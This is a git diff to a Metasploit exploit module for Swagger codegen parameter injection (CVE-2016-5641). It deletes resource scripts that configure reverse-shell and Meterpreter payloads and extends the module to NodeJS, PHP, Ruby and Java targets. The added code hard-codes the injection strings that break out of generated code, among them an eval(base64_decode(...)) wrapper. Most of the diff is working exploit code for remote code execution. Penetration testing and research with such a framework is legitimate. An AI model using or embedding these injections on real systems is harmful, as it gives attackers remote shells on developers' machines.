diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/README.md b/documentation/modules/exploit/multi/fileformat/swagger_param_inject.md similarity index 100% rename from documentation/modules/exploit/multi/fileformat/swagger_param_inject/README.md rename to documentation/modules/exploit/multi/fileformat/swagger_param_inject.md diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/java-codegen.rc b/documentation/modules/exploit/multi/fileformat/swagger_param_inject/java-codegen.rc deleted file mode 100644 index 2139734518..0000000000 --- a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/java-codegen.rc +++ /dev/null @@ -1,11 +0,0 @@ -set PAYLOAD java/jsp_shell_reverse_tcp - -use exploit/multi/fileformat/swagger_param_inject - -set PAYLOAD_LOC "PATH" -set PAYLOAD_PREFIX "a\\\"; " - -set LHOST 192.168.68.138 -set LPORT 4444 - -run \ No newline at end of file diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/nodejs-codegen.rc b/documentation/modules/exploit/multi/fileformat/swagger_param_inject/nodejs-codegen.rc deleted file mode 100644 index 36a24b256f..0000000000 --- a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/nodejs-codegen.rc +++ /dev/null @@ -1,13 +0,0 @@ -set PAYLOAD nodejs/shell_reverse_tcp - -use exploit/multi/fileformat/swagger_param_inject - -set INFO_VERSION "1.0.0" -set PAYLOAD_LOC "PATH" -set PAYLOAD_PREFIX "/a');};};return exports;}));" -set PAYLOAD_SUFFIX "(function(){}(this,function(){a=function(){b=function(){new Array('" - -set LHOST 192.168.68.138 -set LPORT 4444 - -run \ No newline at end of file diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/php-codegen.rc b/documentation/modules/exploit/multi/fileformat/swagger_param_inject/php-codegen.rc deleted file mode 100644 index fd7502cf9b..0000000000 --- a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/php-codegen.rc +++ /dev/null @@ -1,11 +0,0 @@ -set PAYLOAD php/meterpreter/reverse_tcp - -use exploit/multi/fileformat/swagger_param_inject - -set PAYLOAD_PREFIX "*/ namespace foobar; eval(base64_decode('" -set PAYLOAD_SUFFIX "')); /*" - -set LHOST 192.168.68.138 -set LPORT 4444 - -run \ No newline at end of file diff --git a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/ruby-codegen.rc b/documentation/modules/exploit/multi/fileformat/swagger_param_inject/ruby-codegen.rc deleted file mode 100644 index a69fdda505..0000000000 --- a/documentation/modules/exploit/multi/fileformat/swagger_param_inject/ruby-codegen.rc +++ /dev/null @@ -1,12 +0,0 @@ -set PAYLOAD ruby/shell_reverse_tcp - -use exploit/multi/fileformat/swagger_param_inject - -set PAYLOAD_LOC "INFO_TITLE" -set PAYLOAD_PREFIX "=end " -set INFO_DESCRIPTION "=begin " - -set LHOST 192.168.68.138 -set LPORT 4444 - -run \ No newline at end of file diff --git a/modules/exploits/multi/fileformat/swagger_param_inject.rb b/modules/exploits/multi/fileformat/swagger_param_inject.rb index f8bdc91882..4c7c7878b3 100644 --- a/modules/exploits/multi/fileformat/swagger_param_inject.rb +++ b/modules/exploits/multi/fileformat/swagger_param_inject.rb @@ -16,6 +16,8 @@ require 'msf/core' class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + include Msf::Exploit::FILEFORMAT def initialize(info = {}) @@ -40,21 +42,26 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'http://github.com/swagger-api/swagger-codegen' ], [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/06/23/r7-2016-06-remote-code-execution-via-swagger-parameter-injection-cve-2016-5641' ] ], - 'Platform' => %w{ nodejs }, - 'Arch' => ARCH_NODEJS, - 'Targets' => [['Automatic', {}]], + 'Platform' => %w{ nodejs php java ruby }, + 'Arch' => [ ARCH_NODEJS, ARCH_PHP, ARCH_JAVA, ARCH_RUBY ], + 'Targets' => [ + ['NodeJS', { 'Platform' => 'nodejs', 'Arch' => ARCH_NODEJS } ], + ['PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP } ], + ['Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA } ], + ['Ruby', { 'Platform' => 'ruby', 'Arch' => ARCH_RUBY } ] + ], 'DisclosureDate' => 'Jun 23 2016', 'DefaultTarget' => 0)) register_options( [ + OptString.new('FILENAME', [false, 'The file to write.', 'msf-swagger.json']), OptAddress.new('LHOST', [true, 'Server IP or hostname that the swagger codegen will callback to.']), OptPort.new('LPORT', [true, 'Server port.']), OptString.new('PAYLOAD_PREFIX', [false, 'Payload Injection prefix', '']), OptString.new('PAYLOAD_SUFFIX', [false, 'Payload Injection suffix', '']), - OptString.new('PAYLOAD_LOC', [false, 'Payload insertion point', 'INFO_DESCRIPTION', ['INFO_DESCRIPTION', 'INFO_VERSION', 'INFO_TITLE', 'SWAGGER_HOST', 'BASE_PATH', 'PATH', 'PATH_DESRIPTION', 'PATH_RESPONSE_DESCRIPTION', 'DEFINITION_DESCRIPTION'] ]), OptString.new('INFO_DESCRIPTION', [true, 'Swagger info description', 'A']), - OptString.new('INFO_VERSION', [true, 'Swagger info version.', 'B']), + OptString.new('INFO_VERSION', [true, 'Swagger info version.', '1.0.0']), OptString.new('INFO_TITLE', [true, 'Swagger info title.', 'C']), OptEnum.new('SWAGGER_SCHEME', [true, 'Protocol scheme', 'http', ['http','https','ws','wss']]), OptString.new('SWAGGER_HOST', [true, 'a valid hostname or IPv4']), @@ -118,12 +125,46 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - # NodeJS only, for now. - wrapped_payload = datastore['PAYLOAD_PREFIX'] + - payload.encoded + datastore['PAYLOAD_SUFFIX'] - datastore[datastore['PAYLOAD_LOC']] = wrapped_payload.gsub(/"/, '\\"') + if datastore['PAYLOAD'] + case payload.arch[0] + when 'nodejs' + payload_loc = 'PATH' + payload_prefix = "/a');};};return exports;}));" + payload_suffix = "(function(){}(this,function(){a=function(){b=function(){new Array('" + wrapped_payload = payload_prefix + + payload.encoded + + payload_suffix + datastore[payload_loc] = wrapped_payload.gsub(/"/, '\\"') + when 'php' + payload_loc = 'INFO_DESCRIPTION' + payload_prefix = "*/ namespace foobar; eval(base64_decode('" + payload_suffix = "')); /*" + wrapped_payload = payload_prefix + + Base64.strict_encode64(payload.encoded) + + payload_suffix + datastore[payload_loc] = wrapped_payload + when 'ruby' + payload_loc = 'INFO_TITLE' + payload_prefix = "=end " + payload_suffix = "=begin " + wrapped_payload = payload_prefix + + payload.encoded + + payload_suffix + datastore[payload_loc] = wrapped_payload + when 'java' + payload_loc = 'PATH' + payload_prefix = %q{a\\\"; "} + p = payload.encoded.gsub(/<%@page import="/, 'import ') + p = p.gsub(/\"%>/, ';').gsub(/<%/, '').gsub(/%>/, '') + p = p.gsub(/"/, '\\"').gsub(/\n/, ' ') + wrapped_payload = datastore['PAYLOAD_PREFIX'] + p + datastore[payload_loc] = wrapped_payload + end + else + print_error("No payload defined!") + end + print_status swagger file_create swagger end - end